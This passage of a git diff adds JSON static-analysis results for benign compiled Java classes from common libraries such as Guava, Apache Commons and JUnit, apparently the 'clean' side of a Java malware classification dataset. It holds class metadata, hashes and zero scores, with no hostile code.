@@ +{"characteristics": {"java": {"major_version": 49, "class_name": "com/google/common/primitives/Ints$LexicographicalComparator", "access_permissions": ["ACC_FINAL", "ACC_SUPER", "ACC_ENUM"], "interfaces": ["java/util/Comparator"], "sourcefile": "Ints.java", "method_names": ["values", "valueOf", "", "compare", "compare", ""], "minor_version": 0, "const_pool_count": 75}}, "_id": "c52f715f-be06-4704-89de-3e45ea55439f", "verbose": {"java": {"signatures": ["()V", "Ljava/lang/Enum;Ljava/util/Comparator<[I>;"], "constant strings": ["INSTANCE"], "JAVA String Analysis": {"obfuscated_data": {"base64": {"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/": "INSTANCE"}}}}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "40edd797c3089582fc65be6a0d8c18a6eb75230d", "file_name": "java_clean/8c2b7f5a2c09c1c6fc000d65be3d59fbd14f483d59b65234e8963301c9c33383", "_id": "c52f715f-be06-4704-89de-3e45ea55439f", "score": 0, "entropy": 5.389759653817497, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 1753, "ssdeep": "24:JNW9WcWc6whhfVwVRfVwWyRfVw1ulqHfVw1pCB6Od8fVwoR/fVwUe6/Tl8dxeT0s:TPyUCHlq/W0BPd8FPe6Z5MgXSsm6IbRS", "sha256": "8c2b7f5a2c09c1c6fc000d65be3d59fbd14f483d59b65234e8963301c9c33383", "md5": "552086d243355dcc69f811c7aed5ee2c", "parent_sha256": "8c2b7f5a2c09c1c6fc000d65be3d59fbd14f483d59b65234e8963301c9c33383"}} \ No newline at end of file diff --git a/java_classification/data/clean/8d008f64842461c8fa5a541fb67295e10dc74476ce8551a7cc34e08ce636bae7.results b/java_classification/data/clean/8d008f64842461c8fa5a541fb67295e10dc74476ce8551a7cc34e08ce636bae7.results new file mode 100755 index 0000000..12d76c9 --- /dev/null +++ b/java_classification/data/clean/8d008f64842461c8fa5a541fb67295e10dc74476ce8551a7cc34e08ce636bae7.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"major_version": 49, "class_name": "org/apache/pig/builtin/FloatSum", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "interfaces": ["org/apache/pig/Algebraic"], "sourcefile": "FloatSum.java", "method_names": ["", "exec", "getInitial", "getIntermed", "getFinal", "sumDoubles", "sum", "outputSchema", "exec"], "minor_version": 0, "const_pool_count": 175}}, "_id": "2cae2f27-62dc-4ee6-8cf7-f8153a8454c2", "verbose": {"java": {"signatures": ["Lorg/apache/pig/EvalFunc;Lorg/apache/pig/Algebraic;"], "constant strings": ["Error while computing sum in ", "Error processing: ", "Problem while computing sum of floats."]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "018f9391965f481ab3e4c923a272e139ff153956", "file_name": "java_clean/8d008f64842461c8fa5a541fb67295e10dc74476ce8551a7cc34e08ce636bae7", "_id": "2cae2f27-62dc-4ee6-8cf7-f8153a8454c2", "score": 0, "entropy": 5.5100080451987035, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 4131, "ssdeep": "96:HFCFl+i3VbWRNp41GUGnudCObhrucRp+5Y175l9lqGlbhmbnbd8CY++hhz0T:H+lOX7HUtzbAbnbd8e+hVy", "sha256": "8d008f64842461c8fa5a541fb67295e10dc74476ce8551a7cc34e08ce636bae7", "md5": "45dbba71fe6f2e35bb76dc5c363dd229", "parent_sha256": "8d008f64842461c8fa5a541fb67295e10dc74476ce8551a7cc34e08ce636bae7"}} \ No newline at end of file diff --git a/java_classification/data/clean/8d1cf20f4b1417b79bec7493ac6d07a26546fc4e1503d389511c83a837064035.results b/java_classification/data/clean/8d1cf20f4b1417b79bec7493ac6d07a26546fc4e1503d389511c83a837064035.results new file mode 100755 index 0000000..19ee9ac --- /dev/null +++ b/java_classification/data/clean/8d1cf20f4b1417b79bec7493ac6d07a26546fc4e1503d389511c83a837064035.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"major_version": 49, "class_name": "com/google/common/eventbus/AnnotatedHandlerFinder", "access_permissions": ["ACC_SUPER"], "interfaces": ["com/google/common/eventbus/HandlerFindingStrategy"], "sourcefile": "AnnotatedHandlerFinder.java", "method_names": ["", "findAllHandlers", "makeHandler", "methodIsDeclaredThreadSafe"], "minor_version": 0, "const_pool_count": 132}}, "_id": "4afa2669-b31b-4015-856a-6222e9bac5b0", "verbose": {"java": {"signatures": ["(Ljava/lang/Object;)Lcom/google/common/collect/Multimap;Lcom/google/common/eventbus/EventHandler;>;"], "constant strings": ["Method ", " has @Subscribe annotation, but requires ", " arguments. Event handler methods ", "must require a single argument."], "JAVA String Analysis": {"combined strings entropy": 4.167411946910114}}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "fa831563fc2ac536e6597cf473b6d2e3da202194", "file_name": "java_clean/8d1cf20f4b1417b79bec7493ac6d07a26546fc4e1503d389511c83a837064035", "_id": "4afa2669-b31b-4015-856a-6222e9bac5b0", "score": 0, "entropy": 5.521638645975989, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 3217, "ssdeep": "48:Evs7syFlpgzqgejB/RG3nY8z8oscDbjV3fjjvdMBsAK/FcIqt3sHMYB9:es7tFlSeRGTtqt3sHMYB9", "sha256": "8d1cf20f4b1417b79bec7493ac6d07a26546fc4e1503d389511c83a837064035", "md5": "6eff07bbf47472d10a369b3987277662", "parent_sha256": "8d1cf20f4b1417b79bec7493ac6d07a26546fc4e1503d389511c83a837064035"}} \ No newline at end of file diff --git a/java_classification/data/clean/8e213e73657677b8d24763a0073d57a13b180a1cf3ac4e5669bfbc79123e1ee2.results b/java_classification/data/clean/8e213e73657677b8d24763a0073d57a13b180a1cf3ac4e5669bfbc79123e1ee2.results new file mode 100755 index 0000000..a10275d --- /dev/null +++ b/java_classification/data/clean/8e213e73657677b8d24763a0073d57a13b180a1cf3ac4e5669bfbc79123e1ee2.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "CustomConcurrentHashMap.java", "class_name": "com/google/common/collect/CustomConcurrentHashMap$QueueHolder", "access_permissions": ["ACC_SUPER"], "major_version": 49, "method_names": ["", ""], "minor_version": 0, "const_pool_count": 28}}, "_id": "6b919aea-34a6-4f8b-bc4b-ef618ffc0bb1", "metadata": {"mimetype": "application/x-java-applet", "sha1": "c6e46df7924a479425eab1afe1196cd154ac6314", "file_name": "java_clean/8e213e73657677b8d24763a0073d57a13b180a1cf3ac4e5669bfbc79123e1ee2", "_id": "6b919aea-34a6-4f8b-bc4b-ef618ffc0bb1", "score": 0, "entropy": 5.085348454439383, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 668, "ssdeep": "12:kknvmSDQulPsogSw29/YvfzwFfa0d3YvfzwbRRYvf5H4BSOyBFVDnbC:0yQuljgbCgvfEFfatvfEbUvf5pnbC", "sha256": "8e213e73657677b8d24763a0073d57a13b180a1cf3ac4e5669bfbc79123e1ee2", "md5": "bb1a63adbce991078caf1d3b257603af", "parent_sha256": "8e213e73657677b8d24763a0073d57a13b180a1cf3ac4e5669bfbc79123e1ee2"}} \ No newline at end of file diff --git a/java_classification/data/clean/8e2713a6b7ee81fcc5eed36e8edac80beac1215e9176aa03582a67cc4a425824.results b/java_classification/data/clean/8e2713a6b7ee81fcc5eed36e8edac80beac1215e9176aa03582a67cc4a425824.results new file mode 100755 index 0000000..8b16060 --- /dev/null +++ b/java_classification/data/clean/8e2713a6b7ee81fcc5eed36e8edac80beac1215e9176aa03582a67cc4a425824.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "ComputingConcurrentHashMap.java", "class_name": "com/google/common/collect/ComputingConcurrentHashMap$ComputingSegment", "access_permissions": ["ACC_FINAL", "ACC_SUPER"], "major_version": 49, "method_names": ["", "getOrCompute", "compute"], "minor_version": 0, "const_pool_count": 251}}, "_id": "1f3c37e6-1a1c-4706-a189-2d578ccc607b", "verbose": {"java": {"signatures": ["(Lcom/google/common/collect/MapMakerInternalMap;II)V", "(TK;ILcom/google/common/base/Function<-TK;+TV;>;)TV;", "(TK;ILcom/google/common/collect/MapMakerInternalMap$ReferenceEntry;Lcom/google/common/collect/ComputingConcurrentHashMap$ComputingValueReference;)TV;", "Lcom/google/common/collect/MapMakerInternalMap$Segment;"], "constant strings": ["Recursive computation"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "1c444b35578bac1c0e1732a4e4f637f91bb47e41", "file_name": "java_clean/8e2713a6b7ee81fcc5eed36e8edac80beac1215e9176aa03582a67cc4a425824", "_id": "1f3c37e6-1a1c-4706-a189-2d578ccc607b", "score": 0, "entropy": 5.7158381637969295, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 7106, "ssdeep": "192:W5xFl24uNJTVGoeVEAB+kefxtcx3DNKrgX:W5xFo4u3VGoeVEAB+keJt8NKcX", "sha256": "8e2713a6b7ee81fcc5eed36e8edac80beac1215e9176aa03582a67cc4a425824", "md5": "ba3f7ffda5c089d6e978ae4e8230e6cc", "parent_sha256": "8e2713a6b7ee81fcc5eed36e8edac80beac1215e9176aa03582a67cc4a425824"}} \ No newline at end of file diff --git a/java_classification/data/clean/8e315a9e165103c6e4b9e1138d9f90d32c390d1d13c27ef8f361dacfac1a5d13.results b/java_classification/data/clean/8e315a9e165103c6e4b9e1138d9f90d32c390d1d13c27ef8f361dacfac1a5d13.results new file mode 100755 index 0000000..43bfb55 --- /dev/null +++ b/java_classification/data/clean/8e315a9e165103c6e4b9e1138d9f90d32c390d1d13c27ef8f361dacfac1a5d13.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"major_version": 48, "class_name": "org/apache/commons/compress/archivers/zip/Simple8BitZipEncoding$Simple8BitChar", "access_permissions": ["ACC_FINAL", "ACC_SUPER"], "interfaces": ["java/lang/Comparable"], "sourcefile": "Simple8BitZipEncoding.java", "method_names": ["", "compareTo", "toString"], "minor_version": 0, "const_pool_count": 58}}, "_id": "5d62233f-45bd-4a5d-b9f0-af2a7dcc00c4", "verbose": {"java": {"constant strings": ["0x", "->0x"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "613db11f3be9b338dc86419a094366796a30b749", "file_name": "java_clean/8e315a9e165103c6e4b9e1138d9f90d32c390d1d13c27ef8f361dacfac1a5d13", "_id": "5d62233f-45bd-4a5d-b9f0-af2a7dcc00c4", "score": 0, "entropy": 5.352655632389577, "libmagic": "compiled Java class data, version 48.0 (Java 1.4)", "file_size": 1159, "ssdeep": "24:2mZquljyjudCs019msqemulFalQciyu9V:R/l5cf19ANhuciyIV", "sha256": "8e315a9e165103c6e4b9e1138d9f90d32c390d1d13c27ef8f361dacfac1a5d13", "md5": "9deb3c8088f6a246f53ba36502cc6d15", "parent_sha256": "8e315a9e165103c6e4b9e1138d9f90d32c390d1d13c27ef8f361dacfac1a5d13"}} \ No newline at end of file diff --git a/java_classification/data/clean/8ebf6d31a89391cc5a2fd2356a3b15052eed1ac4c206e334740000237e386253.results b/java_classification/data/clean/8ebf6d31a89391cc5a2fd2356a3b15052eed1ac4c206e334740000237e386253.results new file mode 100755 index 0000000..c09a2d5 --- /dev/null +++ b/java_classification/data/clean/8ebf6d31a89391cc5a2fd2356a3b15052eed1ac4c206e334740000237e386253.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"major_version": 49, "class_name": "com/google/common/base/Splitter$5", "access_permissions": ["ACC_SUPER"], "interfaces": ["java/lang/Iterable"], "sourcefile": "Splitter.java", "method_names": ["", "iterator"], "minor_version": 0, "const_pool_count": 50}}, "_id": "4773fc79-47c1-4faa-9e70-5f45e87c0325", "verbose": {"java": {"signatures": ["()Ljava/util/Iterator;", "Ljava/lang/Object;Ljava/lang/Iterable;"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "e1ae1abf535982292ee2f1a9a688d92101aae572", "file_name": "java_clean/8ebf6d31a89391cc5a2fd2356a3b15052eed1ac4c206e334740000237e386253", "_id": "4773fc79-47c1-4faa-9e70-5f45e87c0325", "score": 0, "entropy": 5.1980592391962075, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 1189, "ssdeep": "24:xGwKcXKNRuljum08d/z807cpczM9KvA5u8ICFKdzO:wqKyllrtzQKvfCFK5O", "sha256": "8ebf6d31a89391cc5a2fd2356a3b15052eed1ac4c206e334740000237e386253", "md5": "2da707cbfbf7c839910b54430c6c6485", "parent_sha256": "8ebf6d31a89391cc5a2fd2356a3b15052eed1ac4c206e334740000237e386253"}} \ No newline at end of file diff --git a/java_classification/data/clean/8f01d7e32cd5f179f3486fc395a6fd522b6e44b4860c8e6eebd66a371953bcfe.results b/java_classification/data/clean/8f01d7e32cd5f179f3486fc395a6fd522b6e44b4860c8e6eebd66a371953bcfe.results new file mode 100755 index 0000000..ecb8119 --- /dev/null +++ b/java_classification/data/clean/8f01d7e32cd5f179f3486fc395a6fd522b6e44b4860c8e6eebd66a371953bcfe.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "FieldTypeInfo.java", "class_name": "org/apache/hadoop/record/meta/FieldTypeInfo", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 49, "method_names": ["", "getTypeID", "getFieldID", "write", "equals", "hashCode", "equals"], "minor_version": 0, "const_pool_count": 64}}, "_id": "3619026c-f654-472c-8c51-75193a416a19", "metadata": {"mimetype": "application/x-java-applet", "sha1": "9763d09f2bc679af9deb841e957f8d62197619b8", "file_name": "java_clean/8f01d7e32cd5f179f3486fc395a6fd522b6e44b4860c8e6eebd66a371953bcfe", "_id": "3619026c-f654-472c-8c51-75193a416a19", "score": 0, "entropy": 5.166605410106429, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 1722, "ssdeep": "48:wmXs3rA3Zl63f3hVZ2Iqa7z3Ew3oIEs3zgE21iK160yUazfigntJ:983U3Zl63f3D8a33Ew3JEs3stzyzF", "sha256": "8f01d7e32cd5f179f3486fc395a6fd522b6e44b4860c8e6eebd66a371953bcfe", "md5": "1941155f44ad60677acc4c118fe277fd", "parent_sha256": "8f01d7e32cd5f179f3486fc395a6fd522b6e44b4860c8e6eebd66a371953bcfe"}} \ No newline at end of file diff --git a/java_classification/data/clean/901906fc6b09e6ac30ed676f358b10590713b2a253c8fa8228035dbd9c43a64c.results b/java_classification/data/clean/901906fc6b09e6ac30ed676f358b10590713b2a253c8fa8228035dbd9c43a64c.results new file mode 100755 index 0000000..3a0d12f --- /dev/null +++ b/java_classification/data/clean/901906fc6b09e6ac30ed676f358b10590713b2a253c8fa8228035dbd9c43a64c.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "RunNotifier.java", "class_name": "org/junit/runner/notification/RunNotifier$5", "access_permissions": ["ACC_SUPER"], "major_version": 49, "method_names": ["", "notifyListener"], "minor_version": 0, "const_pool_count": 48}}, "_id": "4fad65f1-bb78-4926-a0da-25de7833d14b", "metadata": {"mimetype": "application/x-java-applet", "sha1": "39922c7cf89c53314c209cced3ae8ab6a3f9394c", "file_name": "java_clean/901906fc6b09e6ac30ed676f358b10590713b2a253c8fa8228035dbd9c43a64c", "_id": "4fad65f1-bb78-4926-a0da-25de7833d14b", "score": 0, "entropy": 4.977999619840613, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 1256, "ssdeep": "24:yWGQTBX6N2QT+QSuljSQTAkOQTRAQTBOcZQTkQTt6QTkrTkQT+QQTA6QTQBQTZNn:yWGQTJ64QT+QHlOQTNOQTuQTBHZQTkQo", "sha256": "901906fc6b09e6ac30ed676f358b10590713b2a253c8fa8228035dbd9c43a64c", "md5": "813d639e8853ee70503a1f7bc8cc70cf", "parent_sha256": "901906fc6b09e6ac30ed676f358b10590713b2a253c8fa8228035dbd9c43a64c"}} \ No newline at end of file diff --git a/java_classification/data/clean/9090962e51e4a96146ed96a604c800e2a65607a0d3383f136f48bf9cb24e1b91.results b/java_classification/data/clean/9090962e51e4a96146ed96a604c800e2a65607a0d3383f136f48bf9cb24e1b91.results new file mode 100755 index 0000000..06b9743 --- /dev/null +++ b/java_classification/data/clean/9090962e51e4a96146ed96a604c800e2a65607a0d3383f136f48bf9cb24e1b91.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "RegularImmutableSortedSet.java", "class_name": "com/google/common/collect/RegularImmutableSortedSet", "access_permissions": ["ACC_FINAL", "ACC_SUPER"], "major_version": 49, "method_names": ["", "iterator", "isEmpty", "size", "contains", "containsAll", "binarySearch", "isPartialView", "toArray", "toArray", "equals", "first", "last", "headSetImpl", "subSetImpl", "tailSetImpl", "findSubsetIndex", "createSubset", "indexOf", "createAsList", "iterator"], "minor_version": 0, "const_pool_count": 210}}, "_id": "9c5f9cd5-f3bd-45d9-bc74-3a7a9a146b9a", "verbose": {"java": {"signatures": ["Lcom/google/common/collect/ImmutableList;", "(Lcom/google/common/collect/ImmutableList;Ljava/util/Comparator<-TE;>;)V", "()Lcom/google/common/collect/UnmodifiableIterator;", "(Ljava/util/Collection<*>;)Z", "([TT;)[TT;", "()TE;", "()TE;", "(TE;)Lcom/google/common/collect/ImmutableSortedSet;", "(TE;TE;)Lcom/google/common/collect/ImmutableSortedSet;", "(TE;)Lcom/google/common/collect/ImmutableSortedSet;", "(TE;)I", "(II)Lcom/google/common/collect/ImmutableSortedSet;", "()Lcom/google/common/collect/ImmutableList;", "Lcom/google/common/collect/ImmutableSortedSet;"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "b28c485e9cb5dd4a59deb07506fad292b41e7291", "file_name": "java_clean/9090962e51e4a96146ed96a604c800e2a65607a0d3383f136f48bf9cb24e1b91", "_id": "9c5f9cd5-f3bd-45d9-bc74-3a7a9a146b9a", "score": 0, "entropy": 5.279674750153274, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 6934, "ssdeep": "192:HfxClX0cxy4uACGpc8fXYm12M8NJkmO3l:HfxCd0cxy4uQfXL8j9O3l", "sha256": "9090962e51e4a96146ed96a604c800e2a65607a0d3383f136f48bf9cb24e1b91", "md5": "5f544428dcd64a7140a3eb4deeb1c503", "parent_sha256": "9090962e51e4a96146ed96a604c800e2a65607a0d3383f136f48bf9cb24e1b91"}} \ No newline at end of file diff --git a/java_classification/data/clean/90a413c4d431b8c3db8878ccd167ecb78400c3a5da1c5fc18c09a7e11a82dab1.results b/java_classification/data/clean/90a413c4d431b8c3db8878ccd167ecb78400c3a5da1c5fc18c09a7e11a82dab1.results new file mode 100755 index 0000000..f1c8d3e --- /dev/null +++ b/java_classification/data/clean/90a413c4d431b8c3db8878ccd167ecb78400c3a5da1c5fc18c09a7e11a82dab1.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"major_version": 50, "class_name": "hu/openig/screen/items/OtherSettingsDialog$4", "access_permissions": ["ACC_SUPER"], "interfaces": ["java/awt/event/ActionListener"], "sourcefile": "OtherSettingsDialog.java", "method_names": ["", "actionPerformed"], "minor_version": 0, "const_pool_count": 37}}, "_id": "ff035f8b-18da-4625-9d9a-2874fc0f180d", "metadata": {"mimetype": "application/x-java-applet", "sha1": "97ccd9dc3b9d22ae77f27b635872e3a80723c28e", "file_name": "java_clean/90a413c4d431b8c3db8878ccd167ecb78400c3a5da1c5fc18c09a7e11a82dab1", "_id": "ff035f8b-18da-4625-9d9a-2874fc0f180d", "score": 0, "entropy": 5.153023309040402, "libmagic": "compiled Java class data, version 50.0 (Java 1.6)", "file_size": 871, "ssdeep": "24:tFI8AQv8Ul8VU9ljSZ8k4B8Y/N3n0k8Oks:UQpgU9lMI30k8Of", "sha256": "90a413c4d431b8c3db8878ccd167ecb78400c3a5da1c5fc18c09a7e11a82dab1", "md5": "4b9342d052dc412c5c484100baaa4040", "parent_sha256": "90a413c4d431b8c3db8878ccd167ecb78400c3a5da1c5fc18c09a7e11a82dab1"}} \ No newline at end of file diff --git a/java_classification/data/clean/90b6630c5bb37d8182ba58c665b81e8db556860133b8b29846fda9998afec8f3.results b/java_classification/data/clean/90b6630c5bb37d8182ba58c665b81e8db556860133b8b29846fda9998afec8f3.results new file mode 100755 index 0000000..c8b8a74 --- /dev/null +++ b/java_classification/data/clean/90b6630c5bb37d8182ba58c665b81e8db556860133b8b29846fda9998afec8f3.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"major_version": 49, "class_name": "com/google/common/base/Predicates$OrPredicate", "access_permissions": ["ACC_SUPER"], "interfaces": ["com/google/common/base/Predicate", "java/io/Serializable"], "sourcefile": "Predicates.java", "method_names": ["", "apply", "hashCode", "equals", "toString", ""], "minor_version": 0, "const_pool_count": 116}}, "_id": "0e6c2678-9f0d-4a83-b58d-6745da49837a", "verbose": {"java": {"signatures": ["Ljava/util/List<+Lcom/google/common/base/Predicate<-TT;>;>;", "(Ljava/util/List<+Lcom/google/common/base/Predicate<-TT;>;>;)V", "(TT;)Z", "Ljava/lang/Object;Lcom/google/common/base/Predicate;Ljava/io/Serializable;"], "constant strings": ["Or(", ")"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "657bb133ee7b2eb3cb76c9c987a570988bbd6731", "file_name": "java_clean/90b6630c5bb37d8182ba58c665b81e8db556860133b8b29846fda9998afec8f3", "_id": "0e6c2678-9f0d-4a83-b58d-6745da49837a", "score": 0, "entropy": 5.263074048583853, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 2677, "ssdeep": "48:2vxJrFlm34s5BgxGp3Juv/FcTl9lkSAn8l2Bs2:2vxJ5lmv5CG78/FcTlHkSAn0p2", "sha256": "90b6630c5bb37d8182ba58c665b81e8db556860133b8b29846fda9998afec8f3", "md5": "5f482cfdf144ec1d2ef11752efcf8408", "parent_sha256": "90b6630c5bb37d8182ba58c665b81e8db556860133b8b29846fda9998afec8f3"}} \ No newline at end of file diff --git a/java_classification/data/clean/91c34136f0666ba97bb7a92e3267616f465e9192c8a8d9f78dfb439626a16cf1.results b/java_classification/data/clean/91c34136f0666ba97bb7a92e3267616f465e9192c8a8d9f78dfb439626a16cf1.results new file mode 100755 index 0000000..a506dc8 --- /dev/null +++ b/java_classification/data/clean/91c34136f0666ba97bb7a92e3267616f465e9192c8a8d9f78dfb439626a16cf1.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "Iterables.java", "class_name": "com/google/common/collect/Iterables$4", "access_permissions": ["ACC_FINAL", "ACC_SUPER"], "major_version": 49, "method_names": ["", "hasNext", "next", "next"], "minor_version": 0, "const_pool_count": 50}}, "_id": "41f05b4c-8dc0-4fcf-98d2-df871560a1fe", "verbose": {"java": {"signatures": ["()Ljava/util/Iterator<+TT;>;", "Lcom/google/common/collect/UnmodifiableIterator;>;"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "576bab9bea5158801b931493da14d00e47ed4b20", "file_name": "java_clean/91c34136f0666ba97bb7a92e3267616f465e9192c8a8d9f78dfb439626a16cf1", "_id": "41f05b4c-8dc0-4fcf-98d2-df871560a1fe", "score": 0, "entropy": 5.042546358080114, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 1135, "ssdeep": "24:3lE0O8Ds88ulj5d8dV8ze8liPYaU4jH8KKH4ZZW/4Tk:3Fvl4JP2u5Tk", "sha256": "91c34136f0666ba97bb7a92e3267616f465e9192c8a8d9f78dfb439626a16cf1", "md5": "65aea6eccc6744508535a29cc4d3689e", "parent_sha256": "91c34136f0666ba97bb7a92e3267616f465e9192c8a8d9f78dfb439626a16cf1"}} \ No newline at end of file diff --git a/java_classification/data/clean/9271de76fe2ae7d56990843b7bc5cd728ffab322b03919cfed61dc597516eceb.results b/java_classification/data/clean/9271de76fe2ae7d56990843b7bc5cd728ffab322b03919cfed61dc597516eceb.results new file mode 100755 index 0000000..700aadb --- /dev/null +++ b/java_classification/data/clean/9271de76fe2ae7d56990843b7bc5cd728ffab322b03919cfed61dc597516eceb.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"major_version": 49, "class_name": "org/odlabs/wiquery/core/options/IntegerItemOptions", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "interfaces": ["org/odlabs/wiquery/core/options/IListItemOption"], "sourcefile": "IntegerItemOptions.java", "method_names": ["", "getInteger", "getJavascriptOption", "setInteger"], "minor_version": 0, "const_pool_count": 39}}, "_id": "ec1c2bd4-4d9a-4ed5-8a5c-02f5f41f2405", "metadata": {"mimetype": "application/x-java-applet", "sha1": "7529b6494fb69ac55c679b70bb21582ce3f7d691", "file_name": "java_clean/9271de76fe2ae7d56990843b7bc5cd728ffab322b03919cfed61dc597516eceb", "_id": "ec1c2bd4-4d9a-4ed5-8a5c-02f5f41f2405", "score": 0, "entropy": 4.9941744189156925, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 876, "ssdeep": "12:MlFtpcCyNs5ulPso9NJlVOZ4q1Xao4qQAJlVOZ4qSSRGrJlVoqXAhEM7leQotmer:MlFt3yNs5uljnpX2QcpXgapMleQJmKvO", "sha256": "9271de76fe2ae7d56990843b7bc5cd728ffab322b03919cfed61dc597516eceb", "md5": "a301463e96618399315667ae1bff5869", "parent_sha256": "9271de76fe2ae7d56990843b7bc5cd728ffab322b03919cfed61dc597516eceb"}} \ No newline at end of file diff --git a/java_classification/data/clean/939826b333971234e285a4f59af7ecfa3ffc5d95a523aefe716383d5b54eb2c4.results b/java_classification/data/clean/939826b333971234e285a4f59af7ecfa3ffc5d95a523aefe716383d5b54eb2c4.results new file mode 100755 index 0000000..7904019 --- /dev/null +++ b/java_classification/data/clean/939826b333971234e285a4f59af7ecfa3ffc5d95a523aefe716383d5b54eb2c4.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "TarBuffer.java", "class_name": "org/apache/commons/compress/archivers/tar/TarBuffer", "access_permissions": ["ACC_SUPER"], "major_version": 48, "method_names": ["", "", "", "", "", "", "initialize", "getBlockSize", "getRecordSize", "isEOFRecord", "skipRecord", "readRecord", "readBlock", "getCurrentBlockNum", "getCurrentRecordNum", "writeRecord", "writeRecord", "writeBlock", "flushBlock", "close"], "minor_version": 0, "const_pool_count": 186}}, "_id": "5062e77a-b4b9-4e7f-a810-07b5131492fc", "verbose": {"java": {"JAVA String Analysis": {"combined strings entropy": 4.199933847622172}, "constant strings": ["reading (via skip) from an output buffer", "input buffer is closed", "reading from an output buffer", "Output buffer is closed", "writing to an input buffer", "record to write has length \\'", "\\' which is not the record size of \\'", "\\'", "record has length \\'", "\\' with offset \\'", "\\' which is less than the record size of \\'"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "19991a03e65a8b0048bc9d396ec71250e397cc4f", "file_name": "java_clean/939826b333971234e285a4f59af7ecfa3ffc5d95a523aefe716383d5b54eb2c4", "_id": "5062e77a-b4b9-4e7f-a810-07b5131492fc", "score": 0, "entropy": 5.403085503107347, "libmagic": "compiled Java class data, version 48.0 (Java 1.4)", "file_size": 4928, "ssdeep": "96:zHkOjc/lb8HqhlKl42YMs+GSeh+E6DWLfq35YSf:WlYqlKl42YMs+GrQvAC3Z", "sha256": "939826b333971234e285a4f59af7ecfa3ffc5d95a523aefe716383d5b54eb2c4", "md5": "aca8ce8c930f54a52e43f86cb7a97ee8", "parent_sha256": "939826b333971234e285a4f59af7ecfa3ffc5d95a523aefe716383d5b54eb2c4"}} \ No newline at end of file diff --git a/java_classification/data/clean/94ec7a0d85164fff670ec6835df35515e56ab5a8d8da38011360722129a6b1c2.results b/java_classification/data/clean/94ec7a0d85164fff670ec6835df35515e56ab5a8d8da38011360722129a6b1c2.results new file mode 100755 index 0000000..b015598 --- /dev/null +++ b/java_classification/data/clean/94ec7a0d85164fff670ec6835df35515e56ab5a8d8da38011360722129a6b1c2.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"major_version": 46, "class_name": "org/apache/commons/codec/binary/BinaryCodec", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "interfaces": ["org/apache/commons/codec/BinaryDecoder", "org/apache/commons/codec/BinaryEncoder"], "sourcefile": "BinaryCodec.java", "method_names": ["", "encode", "encode", "decode", "decode", "toByteArray", "fromAscii", "fromAscii", "toAsciiBytes", "toAsciiChars", "toAsciiString", ""], "minor_version": 0, "const_pool_count": 103}}, "_id": "4adf572a-d2c5-4c11-a3e7-f141eb728c1c", "verbose": {"java": {"constant strings": ["argument not a byte array"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "a528ed8c00d3a523a511860408d4f40725914472", "file_name": "java_clean/94ec7a0d85164fff670ec6835df35515e56ab5a8d8da38011360722129a6b1c2", "_id": "4adf572a-d2c5-4c11-a3e7-f141eb728c1c", "score": 0, "entropy": 5.400866056675791, "libmagic": "compiled Java class data, version 46.0 (Java 1.2)", "file_size": 2969, "ssdeep": "48:mxCqdYyFlydApkgX60+I2dpe07f0DVsW9yhVllVHUutkCAuflsKZ/Q2l7Dlzb2:JqdpFlyiPGwyfuV74hbX05CA2l7Z/Z5s", "sha256": "94ec7a0d85164fff670ec6835df35515e56ab5a8d8da38011360722129a6b1c2", "md5": "579d960d9fc0eb68cf745d6af8137e22", "parent_sha256": "94ec7a0d85164fff670ec6835df35515e56ab5a8d8da38011360722129a6b1c2"}} \ No newline at end of file diff --git a/java_classification/data/clean/95549b7c15a312f2904a811ee41a907ae003dad10eb56accee6b9322d381fedf.results b/java_classification/data/clean/95549b7c15a312f2904a811ee41a907ae003dad10eb56accee6b9322d381fedf.results new file mode 100755 index 0000000..b91b0f9 --- /dev/null +++ b/java_classification/data/clean/95549b7c15a312f2904a811ee41a907ae003dad10eb56accee6b9322d381fedf.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"major_version": 47, "class_name": "org/dom4j/DocumentFactory", "access_permissions": ["ACC_PUBLIC", 